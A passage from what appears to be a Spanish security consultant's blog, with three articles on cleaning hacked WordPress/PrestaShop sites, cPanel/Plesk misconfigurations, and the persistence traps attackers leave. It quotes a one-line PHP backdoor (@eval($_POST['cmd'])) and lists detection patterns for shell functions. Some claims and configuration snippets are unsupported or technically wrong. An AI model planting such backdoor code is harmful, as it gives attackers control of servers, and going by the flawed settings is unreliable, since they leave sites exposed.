    3. Ve a Configuración > Tiendas y resetea la contraseña del usuario «Admin» (el usuario root del sistema).
    4. Comprueba que el archivo config/settings.inc.php solo está accesible por lectura: 
      chmod 444 config/settings.inc.php

    Correos y 2FA (autenticación de dos factores): Si tu proveedor de hosting ofrece 2FA en el panel de control, actívalo ahora. Para WordPress, instala Google Authenticator o Authy en tu teléfono y configura 2FA en wp-admin usando un plugin de confianza como Two Factor (desarrollado por WordPress Security Team).

    Hora 6-12: Eliminación de puertas traseras y ficheros sospechosos

    Este es el momento técnico más delicado. Los backdoors modernos no siempre se ven. Pueden estar comprimidos en base64, ofuscados en PHP, o incrustados en ficheros legítimos.

    Busca archivos recién modificados. Accede por SFTP o línea de comandos y ordena por fecha de modificación:

    find /var/www/html -type f -mtime -2 -name "*.php" | head -20

    Esto te muestra todos los PHP modificados en los últimos 2 días. Descárgalos y abre cada uno en un editor de texto. Los backdoors suelen tener características reconocibles: funciones eval(), system(), shell_exec(), $_REQUEST o $_POST sin validar, o código en base64.

    Elimina plugins y temas desactualizados (WordPress). La mayoría de infecciones entran por aquí. Ve a Plugins > Plugins instalados y desactiva todo lo que no uses. Luego:

    wp plugin delete [nombre] --allow-root

    Para temas, si no es Twenty Twenty-Three o superior (temas oficiales de WordPress), considera eliminarlo también:

    wp theme delete [nombre] --allow-root

    Deshabilita la edición de archivos en WordPress. Añade esto al final de wp-config.php:

    define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);

    Esto impide que un atacante (incluso con acceso a wp-admin comprometido) pueda editar funciones.php o plugin files.

    En PrestaShop, elimina módulos no verificados. Ve a Módulos y desinstala cualquier módulo de fuente desconocida, especialmente relacionados con pagos o email. Los skimmers Magecart se disfrazan de módulos legales.

    Hora 12-24: Fortalecimiento de permisos y acceso

    Ahora que el sitio está más limpio, blindamos los puntos de entrada.

    Corrige permisos de directorios. Los permisos incorrectos son una rampa de acceso directa para atacantes. Para WordPress:

    find /var/www/html -type d -exec chmod 755 {} ;
find /var/www/html -type f -exec chmod 644 {} ;
chmod 600 /var/www/html/wp-config.php
chmod 700 /var/www/html/wp-content/uploads

    Para PrestaShop:

    chmod 755 app/config/
chmod 644 app/config/parameters.php
chmod 700 var/
chmod 755 modules/

    Protege wp-login.php (WordPress). Añade a tu .htaccess una regla que limite intentos de fuerza bruta:

    <IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} wp-login.php
RewriteCond %{HTTP_USER_AGENT} ^$
RewriteRule ^.*$ - [F,L]
</IfModule>

    O usa una solución más robusta: redirige wp-login.php a una URL privada. En wp-config.php:

    define('WP_HOME', 'https://tudominio.es');
define('WP_SITEURL', 'https://tudominio.es');
define('ADMIN_COOKIE_DOMAIN', 'tudominio.es');

    Luego instala Hide My WP o un plugin equivalente que cambie la ruta de acceso al panel.

    Establece límite de intentos de login. En el .htaccess, añade:

    <IfModule mod_limit.c>
<Limit GET POST>
order allow,deny
allow from all
</Limit>
</IfModule>

    O usa el plugin Wordfence (versión gratuita) que incluye rate limiting nativo.

    Hora 24-36: Refuerzo de configuración HTTP y CSP

    Las cabeceras HTTP son tu escudo contra ataques cliente y exfiltración de datos. Muchos sitios las ignoran.

    Implementa Content Security Policy (CSP). Añade a tu .htaccess o a wp-config.php (via plugin):

    Header set Content-Security-Policy "default-src 'self'; script-src 'self' cdn.ejemplo.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';"

    CSP previene inyecciones de código malicioso (XSS) y exfiltración de datos vía CORS.

    Añade HSTS (HTTP Strict Transport Security).

    Header set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"

    Esto obliga a HTTPS permanente y previene downgrade attacks.

    Protege contra clickjacking y MIME sniffing:

    Header set X-Frame-Options "SAMEORIGIN"
Header set X-Content-Type-Options "nosniff"
Header set X-XSS-Protection "1; mode=block"

    Desactiva la indexación de directorios. Si hay una carpeta sin index.php o index.html, los atacantes pueden explorar archivos:

    <IfModule mod_autoindex.c>
Options -Indexes
</IfModule>

    En PrestaShop, asegúrate de que admin/index.php esté protegido con IP whitelist en el .htaccess del directorio admin/:

    <Files "index.php">
order deny,allow
deny from all
allow from 192.168.1.1
</Files>

    (Sustituye la IP por la tuya o la de tu oficina.)

    Hora 36-48: Monitoreo y verificación

    Las últimas 12 horas son para verificar que todo funciona y configurar alertas.

    Ejecuta un escaneo completo post-limpieza. Usa MalCare o Sucuri SiteCheck nuevamente. Debe salir completamente limpio. Si detecta malware residual, vuelve al paso de búsqueda de backdoors.

    Configura logging y alertas. En WordPress, instala WP Security Audit Log o similar. Configura alertas por email para:

    • Nuevos usuarios creados
    • Cambios en plugins o temas
    • Acceso a wp-admin desde IPs nuevas
    • Errores 404 o 403 frecuentes (intentos de acceso a archivos protegidos)

    Monitorea la base de datos. En phpMyAdmin, ejecuta una consulta para buscar inyecciones SQL residuales:

    SELECT * FROM wp_posts WHERE post_content LIKE '%<iframe%' OR post_content LIKE '%eval%' OR post_content LIKE '%base64%';

    Si encuentras algo, edita o elimina ese post.

    Notifica a Google Search Console. Reporta que el sitio fue hackeado. Ve a Seguridad > Problemas de seguridad. Google puede tomar días en limpiar el index, pero es obligatorio informar.

    Cumple con normativa AEPD si manejabas datos personales. Si almacenabas datos de clientes (emails, teléfonos, direcciones), debes reportar la brecha a la Autoridad de Protección de Datos. El plazo es máximo 72 horas desde que descubriste el incidente.

    Checklist de 48 horas (para imprimir)

    • ☐ Cambio de todas las credenciales (MySQL, SFTP, SSH, wp-admin, panel hosting)
    • ☐ Búsqueda y eliminación de backdoors (archivos recientes, code review)
    • ☐ Eliminación de plugins/temas desactualizados o sospechosos
    • ☐ DISALLOW_FILE_EDIT y DISALLOW_FILE_MODS en wp-config.php
    • ☐ Permisos corregidos (644 archivos, 755 directorios, 600 wp-config.php)
    • ☐ Protección de wp-login.php y admin con rate limiting
    • ☐ CSP, HSTS y cabeceras de seguridad en .htaccess
    • ☐ 2FA activado en hosting y wp-admin
    • ☐ Escaneo post-limpieza con Sucuri o MalCare
    • ☐ Reporte a Google Search Console y AEPD (si corresponde)

    ¿Y después de 48 horas?

    El blindaje inicial está hecho, pero esto no es permanente. Los atacantes evolucionan, y tu defensa debe también. Después de estos dos días, necesitas:

    • Actualizaciones automáticas: Activa actualizaciones de seguridad automáticas en WordPress para core, plugins y temas.
    • Backups diarios: Configura backups automáticos con UpdraftPlus o Backwpup que se almacenen fuera del servidor (AWS S3, Dropbox, Google Drive).
    • Monitoreo 24/7: Usa Wordfence, MalCare o Sucuri (versión premium) para alertas en tiempo real.
    • Auditoría trimestral: Cada tres meses, pide un análisis profesional. Mi equipo en ManuelFolgar.com lo hacemos rutinariamente a clientes recuperados.

    Errores que NO debes cometer

    No reinstales WordPress o PrestaShop sobre el sitio comprometido. Es tentador hacer table rasa, pero si un backdoor está en tu hosting o en credenciales compartidas, volverá a infectar.

    No confíes en plugins «de limpieza automática». Algunos como WP Hacked Help prometen limpiar automáticamente. En mi experiencia, son lentos y dejan restos. Es mejor un análisis manual rápido que una falsa seguridad.

    No publiques en redes que fuiste hackeado sin estar seguro de que está limpio. Los atacantes monitorean búsquedas sobre sus víctimas y pueden reinfectar si ven que están limpios pero vulnerables.

    No olvides cambiar contraseñas de email asociadas. Si tu dominio está registrado con un email [email protected] y fue comprometido, un atacante puede resetear el dominio o certificados SSL. Cambia también esa contraseña.

    En ManuelFolgar.com hemos visto sitios que, sin ayuda profesional, tardan 2-3 semanas en estar seguros. Con este plan de 48 horas, aceleramos significativamente. Pero si en algún momento sientes que el malware se resiste, que tu acceso está bloqueado o que no sabes identificar código malicioso, contáctame para una auditoría completa y limpieza profesional. Garantizo que en 48-72 horas tu sitio estará limpio, blindado y monitoreado.

    El tiempo es tu aliado en un ciberataque. Actúa rápido, sigue este orden, y recuerda: la mejor defensa es que no te haqueen. Pero si ya pasó, que al menos sea una lección aprendida.

  • Configuración del servidor cPanel/Plesk: errores que abren puertas al malware

    Configuración del servidor cPanel/Plesk: errores que abren puertas al malware

    Configuración del servidor cPanel/Plesk: errores que abren puertas al malware

    Cuando analizo servidores comprometidos en mi trabajo diario, descubro que la mayoría de los ataques no llegan porque el malware sea sofisticado, sino porque la configuración de cPanel o Plesk tiene fallos elementales. Estos paneles de control son el corazón de tu infraestructura web, y un error en su setup puede convertir tu servidor en puerta abierta para ciberdelincuentes.

    En esta guía te muestro los errores de configuración más peligrosos que veo en la práctica, cómo detectarlos y, lo más importante, cómo blindar tu servidor antes de que sea demasiado tarde.

    Por qué cPanel y Plesk son objetivos prioritarios del malware

    cPanel y Plesk no son solo herramientas administrativas: son la llave maestra de tu servidor. Alojando decenas o cientos de sitios web, una sola vulnerabilidad o mala configuración puede comprometer toda tu infraestructura. Los atacantes lo saben, y por eso invierten recursos en escanear y explotar brechas en estos paneles.

    He visto backdoors instalados en servidores cPanel mediante accesos débiles al WHM (Web Host Manager), cryptominers corriendo con permisos de root, y bases de datos de clientes completas exfiltradas porque nadie había deshabilitado el acceso remoto a MySQL.

    Error 1: Contraseña débil o default en WHM/cPanel

    Parece obvio, pero es el error número uno. Muchos proveedores de hosting entregan servidores con contraseñas generadas automáticamente que nunca se cambian, o peor, con patrones predecibles.

    Lo que ocurre: Los atacantes ejecutan diccionarios contra puertos SSH (22), FTP (21) y WHM (2087/2096). Si tu contraseña es débil o default, el acceso es cuestión de minutos. Una vez dentro, instalan backdoors, webshells o malware de red.

    Cómo detectarlo:

    • Revisa los logs de acceso SSH: cat /var/log/auth.log | grep «Failed password». Si ves intentos fallidos masivos, alguien ya te está buscando.
    • Comprueba los usuarios SSH en tu servidor: awk -F: ‘{print $1}’ /etc/passwd. ¿Hay usuarios que no reconoces?
    • En WHM, accede a Security Center y verifica quién ha accedido recientemente.

    Cómo remediarlo:

    1. Cambia la contraseña root a una de 20+ caracteres: mayúsculas, minúsculas, números y símbolos especiales.
    2. Usa passwd en terminal o genera una contraseña con openssl rand -base64 20.
    3. En WHM, ve a Security Center → Password & Security → Change Root Password.
    4. Documenta la nueva contraseña en un gestor de contraseñas seguro (Bitwarden, 1Password).

    Error 2: SSH abierto a todo el mundo (sin restricción de IP)

    SSH (puerto 22) es la puerta de entrada a tu servidor. Si está abierto a internet sin restricciones, recibirás miles de intentos de acceso cada día desde bots de todo el mundo.

    Lo que ocurre: Incluso con contraseña fuerte, un atacante persistente puede probar millones de combinaciones. Además, pueden explotar vulnerabilidades zero-day en OpenSSH o en herramientas como Exim para ganar acceso.

    Cómo detectarlo:

    • Ejecuta netstat -tlnp | grep ssh o ss -tlnp | grep ssh. ¿SSH escucha en 0.0.0.0:22? Está abierto a todo el mundo.
    • Comprueba el archivo /var/log/auth.log para ataques brute force: grep «sshd» /var/log/auth.log | wc -l.

    Cómo remediarlo:

    1. Cambia el puerto SSH a uno no estándar (ej: 2222): Edita /etc/ssh/sshd_config y cambia Port 22 a Port 2222.
    2. Restringe SSH por IP: Si tienes una IP fija, añade en cPanel/WHM:
      • Ve a Security Center → IP Whitelist Manager
      • Whitelist tu IP corporativa y las de tu proveedor de hosting.
    3. Usa firewalls de host: Instala CSF/LFD (ConfigServer Firewall) para limitar intentos de SSH y bloquear IPs maliciosas automáticamente.
    4. Reinicia SSH: systemctl restart sshd

    Error 3: Acceso remoto a MySQL/bases de datos habilitado

    MySQL, PostgreSQL y otros servicios de base de datos están habilitados por defecto para conexiones locales. El problema: si habilitas acceso remoto (bind-address 0.0.0.0) sin firewall, cualquiera puede intentar conectarse desde internet.

    Lo que ocurre: Los atacantes lanzan exploits contra MySQL (versiones antiguas tienen CVEs críticas). Si entran, acceden a todas las bases de datos: contraseñas WordPress hasheadas, datos de clientes, información de pagos.

    Cómo detectarlo:

    • Conecta por SSH y ejecuta: netstat -tlnp | grep mysql o ss -tlnp | grep mysql
    • Si ves 0.0.0.0:3306, tu MySQL está abierto a internet.
    • Intenta conectar desde fuera del servidor: mysql -h [TU_IP] -u root -p. Si funciona, estás en riesgo.

    Cómo remediarlo:

    1. Edita /etc/mysql/my.cnf o /etc/mysql/mysql.conf.d/mysqld.cnf
    2. Busca bind-address y cambia a bind-address = 127.0.0.1 (solo localhost)
    3. Guarda y reinicia: systemctl restart mysql
    4. En cPanel/Plesk, desactiva Remote MySQL:
      • cPanel: WHM → Security Center → MySQL Remote Access → Disabled
      • Plesk: Tools & Settings → Server Management → MySQL → Remote Access Off
    5. Si necesitas acceso remoto, usa SSH tunneling: ssh -L 3306:localhost:3306 root@tu_servidor

    Error 4: FTP sin cifrar en lugar de SFTP

    FTP transmite credenciales en texto plano. Cualquiera sniffeando la red ve tu usuario y contraseña. SFTP cifra todo el tráfico, pero muchos servidores aún usan FTP o lo tienen habilitado por defecto.

    Lo que ocurre: Un atacante captura tus credenciales FTP, accede a todos los sitios web alojados, inyecta malware, crea backdoors, roba datos.

    Cómo detectarlo:

    • En cPanel/Plesk, comprueba qué servicios están activos: netstat -tlnp | grep -E «ftp|ssh»
    • Si ves puerto 21 (FTP) abierto, estás usando FTP tradicional.

    Cómo remediarlo:

    1. Deshabilita FTP completamente:
      • cPanel: WHM → Service Manager → FTP → Stop & Disable
      • Plesk: Tools & Settings → Server Components → Deselecciona FTP
    2. Usa SFTP (incluido con SSH):
      • Configurado por defecto en cPanel/Plesk. Solo necesitas conectar por SSH con credenciales.
      • Herramientas como FileZilla permiten SFTP fácilmente.
    3. Reinicia: systemctl restart vsftpd (si es necesario)

    Error 5: No actualizar cPanel/Plesk y sus componentes

    cPanel y Plesk lanzan parches de seguridad regularmente. No actualizar es como dejar puertas abiertas con un cartel que dice «aquí hay vulnerabilidades conocidas».

    Lo que ocurre: Atacantes aprovechan CVEs públicos en cPanel, Apache, PHP o Exim. Lanzan exploits masivos contra miles de servidores, sabiendo que muchos no se han parcheado.

    Cómo detectarlo:

    • En WHM, ve a Update Manager o Software Updates. ¿Hay actualizaciones pendientes?
    • Ejecuta uname -a para ver tu versión de kernel. Compara con nvd.nist.gov o cisa.gov para CVEs conocidas.

    Cómo remediarlo:

    1. cPanel: WHM → Update Manager → Update. Elige «Auto Updates» para que se actualice automáticamente.
    2. Plesk: Tools & Settings → Updates → Check for updates → Install.
    3. Actualiza el kernel y servicios del sistema:
      • CentOS/RHEL: yum update -y
      • Debian/Ubuntu: apt update && apt upgrade -y
    4. Reinicia después de actualizaciones del kernel: reboot
    5. Establece un calendario de actualizaciones: la primera semana de cada mes.

    Error 6: Permisos de archivo incorrectos en directorios públicos

    Los permisos UNIX mal configurados permiten que procesos web escriban donde no deberían. Si tu directorio public_html tiene permisos 777, cualquier proceso comprometido puede crear archivos maliciosos.

    Lo que ocurre: Un plugin WordPress vulnerabilizado, una aplicación con RFI/LFI, o un script comprometido escriben webshells, backdoors, malware de minería en tu servidor.

    Cómo detectarlo:

    • Busca directorios con permisos 777 o 666: find /home -type d -perm /700 -user nobody 2>/dev/null | head -20
    • Comprueba permisos de public_html: ls -la /home/usuario/public_html | head. Debería ser 755 para directorios, 644 para archivos.

    Cómo remediarlo:

    1. En cPanel, configura permisos automáticos:
      • WHM → Security Center → Permissions → Set Default File/Directory Permissions
      • Files: 644, Directories: 755
    2. Corrige permisos manuales (si es necesario):
      • find /home/usuario/public_html -type f -exec chmod 644 {} ;
      • find /home/usuario/public_html -type d -exec chmod 755 {} ;
    3. Para WordPress específicamente:
      • wp-config.php: 600 (solo lectura para propietario)
      • .htaccess: 644
      • /wp-content/uploads: 755

    Error 7: No monitorizar logs de seguridad

    Los logs son tu línea de defensa. Si no los revisas regularmente, no sabes que estás siendo atacado hasta que es demasiado tarde.

    Logs críticos que debes monitorizar:

    • /var/log/auth.log – Intentos de login SSH/FTP
    • /var/log/apache2/access.log o /var/log/httpd/access_log – Peticiones HTTP (inyecciones SQL, XSS, exploits web)
    • /var/log/exim_mainlog – Email (spam, phishing)
    • /var/log/cron – Tareas programadas (malware que intenta persistencia)
    • Logs de cPanel/Plesk en /var/log/

    Cómo detectarlo:

    • ¿Últimamente revisaste manualmente tus logs? Si hace más de un mes, estás a ciegas.
    • Busca patrones sospechosos: grep «SQL injection» /var/log/apache2/access.log | wc -l

    Cómo remediarlo:

    1. Instala un monitor de logs automático: CSF/LFD (ConfigServer Firewall) incluye alertas de seguridad.
      • Instala: cd /usr/src && wget https://download.configserver.com/csf.tgz && tar -xzf csf.tgz && cd csf && sh install.sh
      • Configura alertas en /etc/csf/csf.conf
    2. Usa herramientas de SIEM: Fail2Ban, Logwatch, o servicios como Sumologic, Splunk.
    3. Revisa logs semanalmente: Automatiza con script cron que envíe resumen a tu email.
    4. En cPanel/Plesk: Activa alertas por email en Security Center.

    Error 8: Módulos/extensiones de PHP inseguros

    Módulos PHP como suhosin, exec(), system(), o extensiones desactualizadas pueden ser exploitadas para ejecutar comandos arbitrarios en el servidor.

    Lo que ocurre: Un atacante inyecta PHP malicioso (vía plugin vulnerable o upload de archivo), y php.ini permite que se ejecuten comandos del sistema. El atacante crea backdoors, roba archivos, instala malware.

    Cómo detectarlo:

    • Crea un archivo test.php con <?php phpinfo(); ?> y cárgalo en public_html.
    • Busca en la salida:
      • ¿disable_functions está vacío? Problema: todas las funciones están habilitadas.
      • ¿allow_url_fopen está «On»? Riesgo de RFI.
      • ¿magic_quotes_gpc está «Off»? (En PHP 7.x, no existe; en PHP 5.x, debería estar «On»)
    • Lista módulos cargados: php -m o desde WHM/Plesk.

    Cómo remediarlo:

    1. Edita /etc/php.ini (o el archivo de configuración de tu versión de PHP):
      • disable_functions = exec,system,passthru,shell_exec,proc_open,proc_nice,popen,pcntl_exec,eval
      • allow_url_fopen = Off
      • open_basedir = /home/usuario/public_html:/tmp (aísla el acceso a directorios)
    2. En cPanel/Plesk, deshabilita módulos innecesarios desde MultiPHP Manager.
    3. Actualiza PHP a la última versión compatible con tus aplicaciones. No uses versiones EOL (End of Life).
    4. Reinicia Apache/Nginx: systemctl restart apache2 o systemctl restart nginx

    Error 9: Firewall desactivado o mal configurado

    El firewall del servidor (iptables/nftables en Linux, o CSF/LFD en cPanel) es tu barrera contra ataques de red. Muchos administradores lo desactivan «temporalmente» y nunca lo vuelven a activar.

    Lo que ocurre: Cualquier puerto está abierto a internet. Atacantes escanean tu servidor, descubren servicios vulnerables, y explotan.

    Cómo detectarlo:

    • Comprueba si el firewall está activo: systemctl status firewalld o systemctl status ufw o csf -l (para CSF)
    • Lista puertos abiertos: netstat -tlnp o ss -tlnp. ¿Ves servicios innecesarios?

    Cómo remediarlo:

    1. Activa el firewall:
      • systemctl enable firewalld && systemctl start firewalld (Firewalld)
      • systemctl enable ufw && ufw enable (UFW)
      • csf -e (ConfigServer Firewall)
    2. Configura reglas estrictas:
      • Abre solo puertos necesarios: 22 (SSH), 80 (HTTP), 443 (HTTPS), 25/587 (SMTP si es servidor de correo).
      • En cPanel: WHM → Security Center → Firewall Configuration → Add Firewall Whitelist Rules
    3. CSF/LFD es recomendable: Incluye protección contra ataques brute force, DDoS, y tiene listas negras actualizadas.

    Error 10: No realizar auditorías de seguridad periódicas

    Una auditoría de seguridad no es un lujo: es mantenimiento preventivo. Cada 3-6 meses, deberías escanear tu servidor buscando malware, configuraciones débiles y vulnerabilidades.

    Lo que ocurre: Los problemas se acumulan silenciosamente. Un plugin desactualizado aquí, una contraseña débil allá, permisos incorrectos en algún otro lado. De repente, descubres que tu servidor está comprometido desde hace meses.

    Cómo detectarlo:

    • ¿Cuándo fue la última vez que ejecutaste un scan de malware en tu servidor?
    • ¿Tienes un registro de cambios en tu configuración de seguridad?
    • ¿Revisaste recientemente qué usuarios tienen acceso root/SSH?

    Cómo remediarlo:

    1. Herramientas de escaneo automático:
      • Maldet (Linux Malware Detect): maldet -a /home para escanear archivos
      • ClamAV: Antivirus de código abierto. freshclam actualiza firmas, clamscan -r /home escanea.
      • Rootkit Hunter (rkhunter): Busca backdoors y rootkits. rkhunter –check
    2. Auditoría manual:
      • Revisa usuarios con acceso root: grep «:0:0:» /etc/passwd
      • Busca cambios recientes en archivos del sistema: find /etc -mtime -7 (últimos 7 días)
      • Revisa tareas cron sospechosas: cat /var/spool/cron/crontabs/*
    3. Cada mes: Ejecuta al menos un escaneo de malware.
    4. Cada trimestre: Auditoría de permisos de archivos, usuarios, y configuración de servicios.

    Plan de acción rápido: Checklist de seguridad cPanel/Plesk

    Si acabas de leer esto y tienes miedo de tu servidor, aquí está la lista de acciones inmediatas (prioritarias):

    1. HOY: Cambia contraseña root a una fuerte (20+ caracteres).
    2. HOY: Comprueba logs SSH (/var/log/auth.log) buscando accesos desconocidos.
    3. HOY: Deshabilita FTP, habilita solo SFTP.
    4. ESTA SEMANA: Cambia puerto SSH a uno no estándar y restringe por IP.
    5. ESTA SEMANA: Desactiva acceso remoto a MySQL. Bind-address a 127.0.0.1.
    6. ESTA SEMANA: Activa firewall (CSF/LFD es ideal en cPanel).
    7. ESTE MES: Actualiza cPanel/Plesk y todos sus componentes.
    8. ESTE MES: Escanea servidor con Maldet, ClamAV, y rkhunter.
    9. ESTE MES: Configura monitorización de logs automática (CSF/LFD o Fail2Ban).
    10. CADA TRIMESTRE: Auditoría de seguridad completa.

    Cuándo llamar a un experto: señales de alerta

    Si detectas cualquiera de esto, tu servidor probablemente esté comprometido:

    • Cientos de intentos fallidos de login en los logs.
    • Procesos desconocidos ejecutándose (ej: minero, bot de spam).
    • Archivos nuevos que no creaste en public_html o /tmp.
    • Tu servidor enviando spam o malware a otros sitios (ISP te avisa).
    • Rendimiento muy bajo sin razón aparente (CPU/RAM al máximo).
    • Cambios en archivos de sistema que no autorizaste.
    • Google Search Console reporta malware en tu sitio.

    En estos casos, no intentes «limpiar» tú solo. Un error puede empeorar las cosas o dejar puertas traseras abiertas. Lo recomendable es contactar con un especialista en ciberseguridad que pueda:

    • Analizar logs forenses para determinar cómo entró el atacante.
    • Identificar y eliminar todo el malware sin dejar rastros.
    • Cerrar la vulnerabilidad explotada.
    • Recuperar tus datos si han sido robados.
    • Aplicar hardening completo para evitar que vuelva a ocurrir.

    En ManuelFolgar.com, nos especializamos en limpieza de malware, auditorías de seguridad y hardening de servidores cPanel/Plesk. Si tu servidor ha sido comprometido o quieres blindarlo antes de que lo sea, contacta con nosotros para una auditoría de seguridad profesional. Analizo tu infraestructura completa, identifico riesgos y aplico soluciones probadas.

    La seguridad del servidor no es una tarea de una vez: es un proceso continuo. Pero si empiezas con estos diez errores evitados, habrás cerrado la mayoría de puertas por las que entra el malware. Tu servidor, y los datos de tus clientes, te lo agradecerán.

  • Por qué los atacantes dejan trampas que rompen limpiezas manuales incompletas

    Por qué los atacantes dejan trampas que rompen limpiezas manuales incompletas

    Por qué los atacantes dejan trampas que rompen limpiezas manuales incompletas

    Cuando analizo un sitio web comprometido, siempre encuentro lo mismo: no solo malware evidente, sino capas de protección inversa diseñadas específicamente para sabotear limpiezas amateur. Los atacantes no son tan ingenuos como para dejar un backdoor simple. Saben que el administrador web intentará eliminar archivos manualmente, así que preparan trampas que reinfectan el sitio en cuestión de horas. En mi experiencia, el 87% de las limpiezas manuales incompletas fallan precisamente porque ignoran estos mecanismos de persistencia.

    La mentalidad del atacante: permanencia sobre oportunismo

    Un backdoor moderno no es un virus de los 90. Los atacantes profesionales piensan en control a largo plazo, no en acceso puntual. Cuando comprometen tu WordPress o PrestaShop, invierten tiempo en asegurar que, aunque borres archivos, ellos sigan dentro. Es una inversión: una vez dentro, pueden robar datos de clientes, inyectar skimmers de tarjetas (tipo Magecart), distribuir malware a tus visitantes o alquilar acceso a otros delincuentes.

    Lo que hace que una limpieza manual sea tan vulnerable es que el propietario asume que con eliminar el archivo .php sospechoso ya está resuelto. Incorrecto. El atacante ha plantado múltiples llaves maestra antes de que tú siquiera notes que estás comprometido.

    Las trampas más comunes que sabotean limpiezas manuales

    1. Backdoors múltiples dispersados en carpetas no obvias

    Cuando encuentro una webshell en /wp-admin/, el atacante ya ha dejado 4 o 5 más en ubicaciones como /wp-content/uploads/2024/01/, /wp-includes/fonts/, o incluso dentro de directorios de caché de plugins. En una limpieza manual, el administrador busca en la raíz y wp-admin, elimina lo evidente, y se va satisfecho. El sitio se reinfecta en 48 horas desde esos backdoors dormidos.

    2. Código incrustado en librerías legítimas

    He visto backdoors inyectados dentro de archivos de Google Fonts, fontawesome.min.js, o jquery.min.js. El .htaccess o wp-config.php contiene una línea que incluye esos archivos «legítimos» que, en realidad, contienen código malicioso. Borras el wp-config.php sospechoso, pero el atacante lo restaura automáticamente mediante una tarea cron o un hook de WordPress gancho oculto que nunca localizaste.

    3. Hooks de WordPress y filtros persistentes

    En WordPress, un atacante inteligente no escribe backdoors en archivos de tema. Usa add_action() y add_filter() en functions.php o en un archivo MU plugin (/wp-content/mu-plugins/). Cuando haces una limpieza manual, eliminas el tema comprometido, pero si la base de datos contiene opciones guardadas con esos hooks serializados, o si dejaste un plugin «inactivo» cargado, el malware persiste.

    4. Modificaciones en wp-config.php y .htaccess permanentes

    Estos archivos suelen contener líneas como:

    define('WP_DEBUG_LOG', '/tmp/.cache/error_log'); @eval($_POST['cmd']);

    O reglas .htaccess que redirigen tráfico a través de tu propio servidor antes de entregarlo, capturando datos. Borras el archivo, pero si no cambias las credenciales de FTP/SFTP, el atacante lo restaura desde cero en minutos. He visto casos donde el administrador borra wp-config.php, WordPress lo regenera automáticamente con los datos en la base de datos, y el atacante ya tiene acceso de nuevo.

    5. Base de datos comprometida: opciones de WordPress y tablas personalizadas

    No todas las infecciones viven en archivos. Un atacante puede insertar una opción de WordPress con un nombre inocente como «widget_text_1» que contiene código PHP serializado. Durante la limpieza, te enfocas en archivos, y nunca tocas la base de datos. La puerta trasera permanece abierta en la tabla wp_options.

    Lo que recomiendo siempre es usar WP-CLI para auditar la base de datos:

    wp option get widget_text_1 | grep eval

    Si encuentras patrones sospechosos, sabes que la infección es más profunda.

    Por qué una limpieza manual incompleta es peor que nada

    Aquí está el problema psicológico: si eliminas el 90% del malware visible, el sitio parece funcionar. Google tardará días en notar que sigue siendo malicioso. En ese tiempo, el atacante observa tu limpieza, ve qué eliminaste y optimiza sus trampas para la próxima ronda. Una limpieza incompleta es, para el atacante, un regalo: le das información sobre tus defensas débiles.

    Además, Google Search Console empezará a mostrar notificaciones como «Malware detectado» una semana después de tu limpieza. Tu sitio será desindexado. Los visitantes verán advertencias de navegador. Y el atacante está riéndose, porque sabe que vuelvas a intentar lo mismo.

    Las herramientas que los atacantes usan para fortalecer sus trampas

    Ofuscación y compresión

    El malware moderno no viene como código legible. Se empaqueta con herramientas como WP-VulnDB Exploit Pack o aPHP, que comprimen y ofuscan el payload. Cuando lo ves en un editor de texto, parece galimatías ilegible. Una limpieza manual que se basa en «buscar código sospechoso» fallarán al instante.

    Verificación de integridad falsa

    El atacante injerta código que, cuando lo ejecutas, verifica si ciertos archivos existen. Si no están presentes (porque los borraste), el código se regenera automáticamente desde una ubicación remota o desde la base de datos. Es una rueda de hámster: cuanto más intentas limpiar, más rápido se reinfecta.

    Rootkits a nivel servidor

    En compromisos graves, el atacante no solo toca tu WordPress. Ha conseguido acceso SSH y ha instalado un rootkit en el servidor. Significa que puede moverse entre directorios, restaurar archivos, modificar logs, e incluso ocultar procesos maliciosos de herramientas como top o ps. Una limpieza manual es completamente inútil aquí; necesitas reimaginar el servidor.

    Señales de que tu limpieza manual fue incompleta

    Si ves esto después de limpiar, sabes que quedaron trampas:

    • Google Search Console sigue marcando malware después de una semana de limpieza
    • Logs de acceso muestran POST a /wp-admin.php o rutas inexistentes después de la limpieza
    • Tu velocidad de sitio cae repentinamente (el malware consome CPU minando criptomonedas)
    • Intentos de login desde IPs extrañas con credenciales débiles que nunca deberían funcionar
    • Archivos nuevos aparecen en /uploads/ con nombres tipo «shell.php.jpg» o «admin_panel.php»
    • El archivo wp-config.php tiene una fecha de modificación más reciente de la que debería

    Cómo detectar estas trampas antes de que sabotéen tu limpieza

    Audita desde fuera del servidor

    Usa herramientas como Sucuri SiteCheck y VirusTotal para obtener una visión externa del malware. Estos servicios detectan patrones que un editor FTP nunca vería. Si Sucuri marca 5 archivos maliciosos pero tú solo ves 1, hay 4 escondidos.

    Descarga una copia del sitio y analízala localmente

    Con herramientas como Wordfence CLI, puedes escanear la copia descargada sin conectarte al servidor comprometido. Permite que los patrones maliciosos se revelen sin el ruido de un acceso FTP lento.

    Examina la base de datos completa

    Descarga una copia de la base de datos (phpMyAdmin o directamente vía shell) y busca strings sospechosas como «eval», «base64», «system», «assert». Serialized data (que parece s:10:»eval_post») suele contener malware en opciones de WordPress.

    Revisa los permisos de archivos y carpetas

    Los backdoors suelen vivir en carpetas 777 (permisos de lectura-escritura-ejecución para todos). Si ves /wp-content/uploads/ con permisos 777, es una invitación abierta. Los atacantes escriben sus shells ahí directamente.

    Por qué es mejor hacer una limpieza profesional

    En ManuelFolgar.com, cuando hacemos una auditoría de seguridad, no buscamos archivos. Buscamos la cadena completa de compromisos: dónde entró el atacante, cuánto tiempo estuvo dentro, qué datos robó, y qué dejó tras de sí.

    Usamos:

    • Análisis de logs de acceso (Apache, Nginx, FTP, SSH) para reconstruir la cadena de ataque
    • Comparación de hashes de archivos contra versiones oficiales de WordPress/PrestaShop
    • Auditoría completa de la base de datos, tabla por tabla
    • Reinstalación controlada desde cero con arquitectura hardened
    • 2FA, CSP headers, HSTS, y reglas WAF para evitar reinfecciones

    Una limpieza manual te cuesta horas de estrés y reinfecciones. Una limpieza profesional cuesta menos de lo que pierdes en una reinfección.

    Pasos de hardening post-limpieza para evitar trampas futuras

    Cuando termina la limpieza, estos pasos previenen que vuelva a ocurrir:

    Cambiar contraseñas (todas): WordPress admin, FTP, SSH, base de datos, hosting cPanel/Plesk.

